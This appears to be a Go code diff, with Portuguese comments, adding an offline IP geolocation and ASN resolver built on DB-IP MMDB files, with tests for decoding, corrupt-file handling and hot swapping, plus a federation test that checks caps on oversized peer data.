e.Summary.IPs = append(e.Summary.IPs, store.IPSummary{IP: "1.2.3." + "4", Score: 1, Samples: make([]string, 40), Hosts: make([]string, 40)})
|
||||
}
|
||||
e.Summary.IPs = append(e.Summary.IPs, store.IPSummary{IP: "not an ip", Score: 1e9})
|
||||
e.Summary.Timeline.Series = map[string][]uint32{"exploit": make([]uint32, 100000), "evil": make([]uint32, 10)}
|
||||
for i := 0; i < 200; i++ {
|
||||
e.Summary.TopPaths = append(e.Summary.TopPaths, store.Count{Key: strings.Repeat("p", 9000), N: 1})
|
||||
}
|
||||
e.Traffic = map[string]store.TrafficData{}
|
||||
for i := 0; i < 60; i++ {
|
||||
e.Traffic[strings.Repeat("d", i+1)] = store.TrafficData{Timeline: struct {
|
||||
Start int64 `json:"start"`
|
||||
Step int64 `json:"step"`
|
||||
Req []uint32 `json:"req"`
|
||||
Pages []uint32 `json:"pages"`
|
||||
}{Req: make([]uint32, 5000)}}
|
||||
}
|
||||
json.NewEncoder(w).Encode(e)
|
||||
})
|
||||
srv := httptest.NewServer(mux)
|
||||
defer srv.Close()
|
||||
h := fed.NewHub([]fed.Peer{{Name: "p", URL: srv.URL}}, "t")
|
||||
h.Refresh(context.Background())
|
||||
sums := h.Summaries("1h", "")
|
||||
if len(sums) != 1 {
|
||||
t.Fatalf("hosts %+v", h.Hosts())
|
||||
}
|
||||
s := sums[0]
|
||||
if len(s.IPs) != 500 || len(s.Version) > 32 || len(s.TopPaths) > 50 || len(s.TopPaths[0].Key) > 300 {
|
||||
t.Fatalf("caps not applied: ips=%d version=%d paths=%d", len(s.IPs), len(s.Version), len(s.TopPaths))
|
||||
}
|
||||
for _, x := range s.IPs {
|
||||
if x.IP == "not an ip" || len(x.Samples) > 6 || len(x.Hosts) > 4 {
|
||||
t.Fatalf("bad row survived: %+v", x)
|
||||
}
|
||||
}
|
||||
if len(s.Timeline.Series["exploit"]) != 60 || s.Timeline.Series["evil"] != nil || len(s.Timeline.Series["ok"]) != 60 {
|
||||
t.Fatal("the timeline grid is fixed by the range")
|
||||
}
|
||||
kept := 0
|
||||
for i := 1; i <= 60; i++ {
|
||||
for _, got := range h.Traffic("1h", strings.Repeat("d", i), "") {
|
||||
kept++
|
||||
if len(got.Timeline.Req) != 60 {
|
||||
t.Fatalf("traffic grid must be fixed: %d", len(got.Timeline.Req))
|
||||
}
|
||||
}
|
||||
}
|
||||
if kept > 27 {
|
||||
t.Fatalf("too many domains accepted from a peer: %d", kept)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,351 @@
|
||||
// Package geo resolve geolocalização e ASN offline a partir de bases MMDB
|
||||
// (DB-IP Lite), com leitor MMDB próprio, mmap somente leitura e troca a
|
||||
// quente da base em uso.
|
||||
package geo
|
||||
|
||||
import (
|
||||
"container/list"
|
||||
"net/netip"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Attribution deve ser exibida onde os dados forem apresentados (CC BY 4.0).
|
||||
const Attribution = "IP geolocation by DB-IP (https://db-ip.com), CC BY 4.0"
|
||||
|
||||
// Info é o resultado de uma consulta; campos ausentes ficam zerados.
|
||||
type Info struct {
|
||||
CountryCode string `json:"cc,omitempty"`
|
||||
Country string `json:"country,omitempty"` // nome em inglês
|
||||
CountryPT string `json:"country_pt,omitempty"` // nome em pt-BR quando houver
|
||||
Continent string `json:"continent,omitempty"`
|
||||
Region string `json:"region,omitempty"`
|
||||
City string `json:"city,omitempty"`
|
||||
Lat float64 `json:"lat,omitempty"`
|
||||
Lon float64 `json:"lon,omitempty"`
|
||||
ASN uint32 `json:"asn,omitempty"`
|
||||
ASOrg string `json:"as_org,omitempty"`
|
||||
}
|
||||
|
||||
// FileStatus descreve uma base carregada.
|
||||
type FileStatus struct {
|
||||
File string `json:"file,omitempty"`
|
||||
Type string `json:"type,omitempty"`
|
||||
Build time.Time `json:"build,omitempty"` // build_epoch dos metadados
|
||||
Loaded bool `json:"loaded"`
|
||||
}
|
||||
|
||||
// Status resume o estado do resolvedor.
|
||||
type Status struct {
|
||||
City FileStatus `json:"city"`
|
||||
ASN FileStatus `json:"asn"`
|
||||
LastUpdate time.Time `json:"last_update,omitempty"` // última troca bem-sucedida
|
||||
LastCheck time.Time `json:"last_check,omitempty"`
|
||||
LastError string `json:"last_error,omitempty"`
|
||||
}
|
||||
|
||||
type kind struct {
|
||||
name string // "city" | "asn"
|
||||
prefix string // dbip-city-lite-
|
||||
}
|
||||
|
||||
var (
|
||||
kindCity = kind{"city", "dbip-city-lite-"}
|
||||
kindASN = kind{"asn", "dbip-asn-lite-"}
|
||||
)
|
||||
|
||||
type db struct {
|
||||
r *reader
|
||||
file string
|
||||
}
|
||||
|
||||
// Resolver é seguro para uso concorrente.
|
||||
type Resolver struct {
|
||||
dir string
|
||||
city atomic.Pointer[db]
|
||||
asn atomic.Pointer[db]
|
||||
|
||||
cache *lru
|
||||
|
||||
mu sync.Mutex // status e instalação
|
||||
lastUpdate time.Time
|
||||
lastCheck time.Time
|
||||
lastErr string
|
||||
updating atomic.Bool
|
||||
}
|
||||
|
||||
// Open carrega as bases que existirem em dir (criando-o se preciso). Sem
|
||||
// bases, Lookup devolve Info{} até que o updater baixe alguma.
|
||||
func Open(dir string) (*Resolver, error) {
|
||||
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
r := &Resolver{dir: dir, cache: newLRU(8192)}
|
||||
for _, k := range []kind{kindCity, kindASN} {
|
||||
files := r.listFiles(k)
|
||||
// da mais nova para a mais antiga: usa a primeira que abrir.
|
||||
for i := len(files) - 1; i >= 0; i-- {
|
||||
rd, err := openReader(files[i])
|
||||
if err != nil {
|
||||
r.setErr(k.name + ": " + err.Error())
|
||||
continue
|
||||
}
|
||||
if err := rd.sanity(); err != nil {
|
||||
rd.close()
|
||||
r.setErr(k.name + ": " + err.Error())
|
||||
continue
|
||||
}
|
||||
r.slot(k).Store(&db{r: rd, file: files[i]})
|
||||
break
|
||||
}
|
||||
}
|
||||
return r, nil
|
||||
}
|
||||
|
||||
func (r *Resolver) slot(k kind) *atomic.Pointer[db] {
|
||||
if k.name == "city" {
|
||||
return &r.city
|
||||
}
|
||||
return &r.asn
|
||||
}
|
||||
|
||||
// listFiles devolve os .mmdb do tipo, em ordem crescente (YYYY-MM).
|
||||
func (r *Resolver) listFiles(k kind) []string {
|
||||
m, _ := filepath.Glob(filepath.Join(r.dir, k.prefix+"*.mmdb"))
|
||||
sort.Strings(m)
|
||||
return m
|
||||
}
|
||||
|
||||
func (r *Resolver) setErr(s string) {
|
||||
r.mu.Lock()
|
||||
r.lastErr = s
|
||||
r.mu.Unlock()
|
||||
}
|
||||
|
||||
// Close libera as bases. Lookups posteriores devolvem Info{}.
|
||||
func (r *Resolver) Close() error {
|
||||
var first error
|
||||
for _, s := range []*atomic.Pointer[db]{&r.city, &r.asn} {
|
||||
if d := s.Swap(nil); d != nil {
|
||||
if err := d.r.close(); err != nil && first == nil {
|
||||
first = err
|
||||
}
|
||||
}
|
||||
}
|
||||
r.cache.clear()
|
||||
return first
|
||||
}
|
||||
|
||||
// Status devolve um retrato do estado atual.
|
||||
func (r *Resolver) Status() Status {
|
||||
st := Status{}
|
||||
fill := func(fs *FileStatus, d *db) {
|
||||
if d == nil {
|
||||
return
|
||||
}
|
||||
fs.File, fs.Type, fs.Loaded = filepath.Base(d.file), d.r.DatabaseType, true
|
||||
fs.Build = time.Unix(int64(d.r.BuildEpoch), 0).UTC()
|
||||
}
|
||||
fill(&st.City, r.city.Load())
|
||||
fill(&st.ASN, r.asn.Load())
|
||||
r.mu.Lock()
|
||||
st.LastUpdate, st.LastCheck, st.LastError = r.lastUpdate, r.lastCheck, r.lastErr
|
||||
r.mu.Unlock()
|
||||
return st
|
||||
}
|
||||
|
||||
func skipAddr(ip netip.Addr) bool {
|
||||
return !ip.IsValid() || ip.IsPrivate() || ip.IsLoopback() || ip.IsUnspecified() ||
|
||||
ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() || ip.IsMulticast()
|
||||
}
|
||||
|
||||
// Lookup consulta cidade e ASN do IP. IPs privados/loopback/etc. devolvem Info{}.
|
||||
func (r *Resolver) Lookup(ip netip.Addr) Info {
|
||||
ip = ip.Unmap()
|
||||
if skipAddr(ip) {
|
||||
return Info{}
|
||||
}
|
||||
if in, ok := r.cache.get(ip); ok {
|
||||
return in
|
||||
}
|
||||
in := r.lookupRaw(ip)
|
||||
r.cache.put(ip, in)
|
||||
return in
|
||||
}
|
||||
|
||||
func (r *Resolver) lookupRaw(ip netip.Addr) Info {
|
||||
var in Info
|
||||
if d := r.city.Load(); d != nil && d.r.acquire() {
|
||||
if off, ok := d.r.find(ip); ok {
|
||||
fillCity(d.r.dec, off, &in)
|
||||
}
|
||||
d.r.release()
|
||||
}
|
||||
if d := r.asn.Load(); d != nil && d.r.acquire() {
|
||||
if off, ok := d.r.find(ip); ok {
|
||||
fillASN(d.r.dec, off, &in)
|
||||
}
|
||||
d.r.release()
|
||||
}
|
||||
return in
|
||||
}
|
||||
|
||||
// fillCity extrai campos no layout GeoIP2-City; erros de decodificação
|
||||
// deixam o que já foi lido.
|
||||
func fillCity(d decoder, off uint, in *Info) {
|
||||
_ = d.mapEntries(off, func(key []byte, v uint) error {
|
||||
switch string(key) {
|
||||
case "country":
|
||||
_ = d.mapEntries(v, func(k []byte, v uint) error {
|
||||
switch string(k) {
|
||||
case "iso_code":
|
||||
if s, err := d.str(v); err == nil {
|
||||
in.CountryCode = string(s)
|
||||
}
|
||||
case "names":
|
||||
readNames(d, v, &in.Country, &in.CountryPT)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
case "continent":
|
||||
_ = d.mapEntries(v, func(k []byte, v uint) error {
|
||||
if string(k) == "code" {
|
||||
if s, err := d.str(v); err == nil {
|
||||
in.Continent = string(s)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
case "subdivisions":
|
||||
if first, ok := firstElem(d, v); ok {
|
||||
_ = d.mapEntries(first, func(k []byte, v uint) error {
|
||||
if string(k) == "names" {
|
||||
var pt string
|
||||
readNames(d, v, &in.Region, &pt)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
case "city":
|
||||
_ = d.mapEntries(v, func(k []byte, v uint) error {
|
||||
if string(k) == "names" {
|
||||
var pt string
|
||||
readNames(d, v, &in.City, &pt)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
case "location":
|
||||
_ = d.mapEntries(v, func(k []byte, v uint) error {
|
||||
switch string(k) {
|
||||
case "latitude":
|
||||
in.Lat, _ = d.floatAt(v)
|
||||
case "longitude":
|
||||
in.Lon, _ = d.floatAt(v)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
func fillASN(d decoder, off uint, in *Info) {
|
||||
_ = d.mapEntries(off, func(key []byte, v uint) error {
|
||||
switch string(key) {
|
||||
case "autonomous_system_number":
|
||||
if n, err := d.uintAt(v); err == nil {
|
||||
in.ASN = uint32(n)
|
||||
}
|
||||
case "autonomous_system_organization":
|
||||
if s, err := d.str(v); err == nil {
|
||||
in.ASOrg = string(s)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
// readNames lê "en" em en e "pt-BR" em pt (pt pode ser nil-equivalente).
|
||||
func readNames(d decoder, off uint, en, pt *string) {
|
||||
_ = d.mapEntries(off, func(k []byte, v uint) error {
|
||||
switch string(k) {
|
||||
case "en":
|
||||
if s, err := d.str(v); err == nil {
|
||||
*en = string(s)
|
||||
}
|
||||
case "pt-BR":
|
||||
if s, err := d.str(v); err == nil {
|
||||
*pt = string(s)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
// firstElem devolve o offset do primeiro elemento de um array.
|
||||
func firstElem(d decoder, off uint) (uint, bool) {
|
||||
v, err := d.resolve(off)
|
||||
if err != nil {
|
||||
return 0, false
|
||||
}
|
||||
typ, size, p, err := d.header(v)
|
||||
if err != nil || typ != tArray || size == 0 {
|
||||
return 0, false
|
||||
}
|
||||
return p, true
|
||||
}
|
||||
|
||||
// ---- cache LRU ----
|
||||
|
||||
type lruEntry struct {
|
||||
ip netip.Addr
|
||||
info Info
|
||||
}
|
||||
|
||||
type lru struct {
|
||||
mu sync.Mutex
|
||||
cap int
|
||||
m map[netip.Addr]*list.Element
|
||||
l *list.List
|
||||
}
|
||||
|
||||
func newLRU(n int) *lru {
|
||||
return &lru{cap: n, m: make(map[netip.Addr]*list.Element, n), l: list.New()}
|
||||
}
|
||||
|
||||
func (c *lru) get(ip netip.Addr) (Info, bool) {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
if e, ok := c.m[ip]; ok {
|
||||
c.l.MoveToFront(e)
|
||||
return e.Value.(*lruEntry).info, true
|
||||
}
|
||||
return Info{}, false
|
||||
}
|
||||
|
||||
func (c *lru) put(ip netip.Addr, in Info) {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
if e, ok := c.m[ip]; ok {
|
||||
e.Value.(*lruEntry).info = in
|
||||
c.l.MoveToFront(e)
|
||||
return
|
||||
}
|
||||
c.m[ip] = c.l.PushFront(&lruEntry{ip, in})
|
||||
if c.l.Len() > c.cap {
|
||||
old := c.l.Back()
|
||||
c.l.Remove(old)
|
||||
delete(c.m, old.Value.(*lruEntry).ip)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *lru) clear() {
|
||||
c.mu.Lock()
|
||||
c.m = make(map[netip.Addr]*list.Element, c.cap)
|
||||
c.l.Init()
|
||||
c.mu.Unlock()
|
||||
}
|
||||
@@ -0,0 +1,562 @@
|
||||
package geo
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"context"
|
||||
"fmt"
|
||||
"math/big"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/netip"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"reflect"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func names(en, pt string) map[string]any {
|
||||
m := map[string]any{"en": en}
|
||||
if pt != "" {
|
||||
m["pt-BR"] = pt
|
||||
}
|
||||
return m
|
||||
}
|
||||
|
||||
func cityRec(cc, en, pt, cont, region, city string, lat, lon float64) map[string]any {
|
||||
return map[string]any{
|
||||
"continent": map[string]any{"code": cont, "names": names("x", "")},
|
||||
"country": map[string]any{"iso_code": cc, "names": names(en, pt)},
|
||||
"subdivisions": []any{map[string]any{"names": names(region, "")}, map[string]any{"names": names("segunda", "")}},
|
||||
"city": map[string]any{"names": names(city, "")},
|
||||
"location": map[string]any{"latitude": lat, "longitude": lon},
|
||||
}
|
||||
}
|
||||
|
||||
func asnRec(n uint32, org string) map[string]any {
|
||||
return map[string]any{"autonomous_system_number": u32(n), "autonomous_system_organization": org}
|
||||
}
|
||||
|
||||
func pf(s string) netip.Prefix { return netip.MustParsePrefix(s) }
|
||||
func ad(s string) netip.Addr { return netip.MustParseAddr(s) }
|
||||
|
||||
func cityEntries() []mmEntry {
|
||||
return []mmEntry{
|
||||
{pf("8.8.8.0/24"), cityRec("US", "United States", "Estados Unidos", "NA", "California", "Mountain View", 37.4, -122.08)},
|
||||
{pf("200.160.0.0/20"), cityRec("BR", "Brazil", "Brasil", "SA", "São Paulo", "São Paulo", -23.5, -46.6)},
|
||||
{pf("200.160.2.0/24"), cityRec("BR", "Brazil", "Brasil", "SA", "São Paulo", "Osasco", -23.53, -46.79)},
|
||||
{pf("2001:4860:4860::/48"), cityRec("US", "United States", "", "NA", "California", "Mountain View", 37.4, -122.08)},
|
||||
{pf("2a00::/12"), cityRec("DE", "Germany", "Alemanha", "EU", "", "", 51.0, 9.0)},
|
||||
}
|
||||
}
|
||||
|
||||
func asnEntries() []mmEntry {
|
||||
return []mmEntry{
|
||||
{pf("8.8.8.0/24"), asnRec(15169, "GOOGLE")},
|
||||
{pf("1.1.1.0/24"), asnRec(13335, "CLOUDFLARENET")},
|
||||
{pf("2001:4860::/32"), asnRec(15169, "GOOGLE")},
|
||||
}
|
||||
}
|
||||
|
||||
func writeFile(t testing.TB, dir, name string, b []byte) string {
|
||||
t.Helper()
|
||||
p := filepath.Join(dir, name)
|
||||
if err := os.WriteFile(p, b, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
func atomicWrite(t testing.TB, dir, name string, b []byte) {
|
||||
t.Helper()
|
||||
tmp := filepath.Join(dir, ".w-"+name)
|
||||
if err := os.WriteFile(tmp, b, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.Rename(tmp, filepath.Join(dir, name)); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecodeAllTypes(t *testing.T) {
|
||||
big128 := new(big.Int).Lsh(big.NewInt(1), 100)
|
||||
long := strings.Repeat("a", 300)
|
||||
vlong := strings.Repeat("b", 70000)
|
||||
rec := map[string]any{
|
||||
"str": "olá",
|
||||
"long": long,
|
||||
"vlong": vlong,
|
||||
"mid": strings.Repeat("c", 40),
|
||||
"dbl": 3.14159,
|
||||
"flt": f32(1.5),
|
||||
"bytes": []byte{1, 2, 3},
|
||||
"u16": u16(65535),
|
||||
"u32": u32(4000000000),
|
||||
"u64": u64(1 << 60),
|
||||
"zero": u16(0),
|
||||
"u128": u128{big128},
|
||||
"i32": i32(-5),
|
||||
"true": true,
|
||||
"false": false,
|
||||
"arr": []any{"a", u16(2), map[string]any{"k": "v"}},
|
||||
"nested": map[string]any{"a": map[string]any{"b": map[string]any{"c": "deep"}}},
|
||||
}
|
||||
for _, ptrs := range []bool{false, true} {
|
||||
data := buildMMDB(6, 24, []mmEntry{{pf("1.2.3.0/24"), rec}, {pf("1.2.4.0/24"), rec}}, ptrs, 1, "T")
|
||||
r, err := newReader(data)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, ip := range []string{"1.2.3.4", "1.2.4.200"} {
|
||||
off, ok := r.find(ad(ip))
|
||||
if !ok {
|
||||
t.Fatal("não achou", ip)
|
||||
}
|
||||
got, err := r.dec.decode(off, 0)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
m := got.(map[string]any)
|
||||
want := map[string]any{
|
||||
"str": "olá", "long": long, "vlong": vlong, "mid": strings.Repeat("c", 40),
|
||||
"dbl": 3.14159, "flt": float64(float32(1.5)), "bytes": []byte{1, 2, 3},
|
||||
"u16": uint64(65535), "u32": uint64(4000000000), "u64": uint64(1 << 60), "zero": uint64(0),
|
||||
"i32": int32(-5), "true": true, "false": false,
|
||||
"arr": []any{"a", uint64(2), map[string]any{"k": "v"}},
|
||||
"nested": map[string]any{"a": map[string]any{"b": map[string]any{"c": "deep"}}},
|
||||
}
|
||||
if m["u128"].(*big.Int).Cmp(big128) != 0 {
|
||||
t.Fatal("u128")
|
||||
}
|
||||
delete(m, "u128")
|
||||
if !reflect.DeepEqual(m, want) {
|
||||
t.Fatalf("ptrs=%v decode difere:\n%v\n%v", ptrs, m, want)
|
||||
}
|
||||
}
|
||||
if _, ok := r.find(ad("1.2.5.1")); ok {
|
||||
t.Fatal("não devia achar")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolverLookup(t *testing.T) {
|
||||
for _, rs := range []int{24, 28, 32} {
|
||||
for _, ptrs := range []bool{false, true} {
|
||||
dir := t.TempDir()
|
||||
writeFile(t, dir, "dbip-city-lite-2026-11.mmdb", buildMMDB(6, rs, cityEntries(), ptrs, 1760000000, "DBIP-City-Lite"))
|
||||
writeFile(t, dir, "dbip-asn-lite-2026-11.mmdb", buildMMDB(6, rs, asnEntries(), ptrs, 1760000000, "DBIP-ASN-Lite"))
|
||||
r, err := Open(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
g := r.Lookup(ad("8.8.8.8"))
|
||||
want := Info{"US", "United States", "Estados Unidos", "NA", "California", "Mountain View", 37.4, -122.08, 15169, "GOOGLE"}
|
||||
if g != want {
|
||||
t.Fatalf("rs=%d ptrs=%v: %+v", rs, ptrs, g)
|
||||
}
|
||||
if g := r.Lookup(ad("200.160.2.3")); g.City != "Osasco" || g.CountryCode != "BR" || g.ASN != 0 {
|
||||
t.Fatalf("%+v", g)
|
||||
}
|
||||
if g := r.Lookup(ad("200.160.9.3")); g.City != "São Paulo" {
|
||||
t.Fatalf("%+v", g)
|
||||
}
|
||||
if g := r.Lookup(ad("1.1.1.1")); g.ASN != 13335 || g.ASOrg != "CLOUDFLARENET" || g.CountryCode != "" {
|
||||
t.Fatalf("%+v", g)
|
||||
}
|
||||
if g := r.Lookup(ad("2001:4860:4860::8888")); g.CountryCode != "US" || g.ASN != 15169 || g.CountryPT != "" {
|
||||
t.Fatalf("%+v", g)
|
||||
}
|
||||
if g := r.Lookup(ad("2a02::1")); g.Country != "Germany" || g.City != "" || g.Region != "" {
|
||||
t.Fatalf("%+v", g)
|
||||
}
|
||||
// IPv4 mapeado em IPv6
|
||||
if g := r.Lookup(ad("::ffff:8.8.8.8")); g.ASN != 15169 {
|
||||
t.Fatalf("%+v", g)
|
||||
}
|
||||
for _, p := range []string{"10.1.2.3", "192.168.0.1", "127.0.0.1", "::1", "fe80::1", "0.0.0.0", "fd00::1", "224.0.0.1"} {
|
||||
if g := r.Lookup(ad(p)); g != (Info{}) {
|
||||
t.Fatalf("%s: %+v", p, g)
|
||||
}
|
||||
}
|
||||
if g := r.Lookup(netip.Addr{}); g != (Info{}) {
|
||||
t.Fatal("inválido")
|
||||
}
|
||||
// cache: segunda chamada igual
|
||||
if r.Lookup(ad("8.8.8.8")) != want {
|
||||
t.Fatal("cache")
|
||||
}
|
||||
st := r.Status()
|
||||
if !st.City.Loaded || !st.ASN.Loaded || st.City.Build.Unix() != 1760000000 || st.City.Type != "DBIP-City-Lite" {
|
||||
t.Fatalf("%+v", st)
|
||||
}
|
||||
if err := r.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if r.Lookup(ad("8.8.8.8")) != (Info{}) {
|
||||
t.Fatal("após Close")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestIPv4Tree(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
writeFile(t, dir, "dbip-asn-lite-2026-11.mmdb", buildMMDB(4, 24, []mmEntry{{pf("1.1.1.0/24"), asnRec(13335, "CF")}}, true, 1, "x"))
|
||||
r, _ := Open(dir)
|
||||
defer r.Close()
|
||||
if g := r.Lookup(ad("1.1.1.1")); g.ASN != 13335 {
|
||||
t.Fatalf("%+v", g)
|
||||
}
|
||||
if g := r.Lookup(ad("2001:db8::1")); g != (Info{}) {
|
||||
t.Fatalf("%+v", g)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEmptyDir(t *testing.T) {
|
||||
r, err := Open(filepath.Join(t.TempDir(), "novo"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer r.Close()
|
||||
if g := r.Lookup(ad("8.8.8.8")); g != (Info{}) {
|
||||
t.Fatal(g)
|
||||
}
|
||||
if r.Status().City.Loaded {
|
||||
t.Fatal("loaded")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCorruptNoPanic(t *testing.T) {
|
||||
good := buildMMDB(6, 28, cityEntries(), true, 1, "x")
|
||||
i := bytes.LastIndex(good, metaMarker)
|
||||
treeEnd := i
|
||||
// corrompe a seção de dados de várias formas
|
||||
for seed := 0; seed < 300; seed++ {
|
||||
b := append([]byte(nil), good...)
|
||||
for k := 0; k < 4; k++ {
|
||||
pos := (seed*7919 + k*104729) % treeEnd
|
||||
b[pos] ^= byte(seed*31 + k*17 + 1)
|
||||
}
|
||||
r, err := newReader(b)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, ip := range []string{"8.8.8.8", "200.160.2.3", "2001:4860:4860::8888", "2a02::1", "1.1.1.1"} {
|
||||
if off, ok := r.find(ad(ip)); ok {
|
||||
var in Info
|
||||
fillCity(r.dec, off, &in)
|
||||
fillASN(r.dec, off, &in)
|
||||
}
|
||||
}
|
||||
}
|
||||
if _, err := newReader([]byte("lixo")); err == nil {
|
||||
t.Fatal("esperava erro")
|
||||
}
|
||||
}
|
||||
|
||||
// Troca a quente concorrente: leitores nunca veem base fechada nem dados inconsistentes.
|
||||
func TestHotSwapConcurrent(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
mk := func(org string, epoch uint64) []byte {
|
||||
return buildMMDB(6, 24, []mmEntry{{pf("8.8.8.0/24"), asnRec(15169, org)}}, true, epoch, "x")
|
||||
}
|
||||
pA := writeFile(t, dir, "dbip-asn-lite-2026-10.mmdb", mk("A", 1))
|
||||
pB := writeFile(t, dir, "dbip-asn-lite-2026-11.mmdb", mk("B", 2))
|
||||
r, err := Open(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer r.Close()
|
||||
stop := make(chan struct{})
|
||||
var wg sync.WaitGroup
|
||||
var bad atomic.Int64
|
||||
var n atomic.Int64
|
||||
for g := 0; g < 8; g++ {
|
||||
wg.Add(1)
|
||||
go func(g int) {
|
||||
defer wg.Done()
|
||||
for i := 0; ; i++ {
|
||||
select {
|
||||
case <-stop:
|
||||
return
|
||||
default:
|
||||
}
|
||||
ip := netip.AddrFrom4([4]byte{8, 8, 8, byte(i)})
|
||||
in := r.lookupRaw(ip) // sem cache, exercita o mmap
|
||||
if in.ASN != 15169 || (in.ASOrg != "A" && in.ASOrg != "B") {
|
||||
bad.Add(1)
|
||||
}
|
||||
r.Lookup(ip)
|
||||
n.Add(1)
|
||||
}
|
||||
}(g)
|
||||
}
|
||||
for i := 0; i < 200; i++ {
|
||||
p := pA
|
||||
if i%2 == 0 {
|
||||
p = pB
|
||||
}
|
||||
if err := r.install(kindASN, p); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
// install apaga arquivos mais velhos: recria com rename atômico
|
||||
// (truncar um arquivo mapeado causaria SIGBUS, e o updater nunca faz isso)
|
||||
atomicWrite(t, dir, "dbip-asn-lite-2026-10.mmdb", mk("A", 1))
|
||||
atomicWrite(t, dir, "dbip-asn-lite-2026-11.mmdb", mk("B", 2))
|
||||
}
|
||||
close(stop)
|
||||
wg.Wait()
|
||||
if bad.Load() != 0 {
|
||||
t.Fatalf("%d leituras inconsistentes de %d", bad.Load(), n.Load())
|
||||
}
|
||||
}
|
||||
|
||||
func gz(t testing.TB, b []byte) []byte {
|
||||
var buf bytes.Buffer
|
||||
w := gzip.NewWriter(&buf)
|
||||
w.Write(b)
|
||||
w.Close()
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
func TestUpdater(t *testing.T) {
|
||||
cur := time.Now().UTC().Format("2006-01")
|
||||
cityGz := gz(t, buildMMDB(6, 28, cityEntries(), true, uint64(time.Now().Unix()), "DBIP-City-Lite"))
|
||||
asnGz := gz(t, buildMMDB(6, 24, asnEntries(), true, uint64(time.Now().Unix()), "DBIP-ASN-Lite"))
|
||||
var reqs atomic.Int64
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, rq *http.Request) {
|
||||
reqs.Add(1)
|
||||
if strings.Contains(rq.URL.Path, cur) { // mês corrente ainda não publicado
|
||||
http.NotFound(w, rq)
|
||||
return
|
||||
}
|
||||
switch {
|
||||
case strings.Contains(rq.URL.Path, "city"):
|
||||
w.Write(cityGz)
|
||||
case strings.Contains(rq.URL.Path, "asn"):
|
||||
w.Write(asnGz)
|
||||
default:
|
||||
http.NotFound(w, rq)
|
||||
}
|
||||
}))
|
||||
defer srv.Close()
|
||||
old := downloadBase
|
||||
downloadBase = srv.URL + "/free/"
|
||||
defer func() { downloadBase = old }()
|
||||
|
||||
dir := t.TempDir()
|
||||
// base velha de 2 meses atrás que deve ser removida
|
||||
writeFile(t, dir, "dbip-asn-lite-2020-01.mmdb", buildMMDB(6, 24, asnEntries(), false, 1, "old"))
|
||||
r, err := Open(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer r.Close()
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
r.StartUpdater(ctx, time.Hour, srv.Client())
|
||||
deadline := time.Now().Add(10 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
st := r.Status()
|
||||
if st.City.Loaded && st.ASN.Loaded && !st.LastCheck.IsZero() && st.ASN.Type == "DBIP-ASN-Lite" {
|
||||
break
|
||||
}
|
||||
time.Sleep(20 * time.Millisecond)
|
||||
}
|
||||
if g := r.Lookup(ad("8.8.8.8")); g.CountryCode != "US" || g.ASN != 15169 {
|
||||
t.Fatalf("%+v %+v", g, r.Status())
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(dir, "dbip-asn-lite-2020-01.mmdb")); err == nil {
|
||||
t.Fatal("base antiga não foi removida")
|
||||
}
|
||||
if m, _ := filepath.Glob(filepath.Join(dir, ".tmp-*")); len(m) != 0 {
|
||||
t.Fatal("sobrou tmp", m)
|
||||
}
|
||||
if st := r.Status(); st.LastError != "" {
|
||||
t.Fatal(st.LastError)
|
||||
}
|
||||
// ciclo seguinte não baixa de novo o que já tem
|
||||
n := reqs.Load()
|
||||
r.updateAll(ctx, srv.Client(), true)
|
||||
if reqs.Load() != n+2 { // só os 404 do mês corrente
|
||||
t.Fatalf("requisições extras: %d", reqs.Load()-n)
|
||||
}
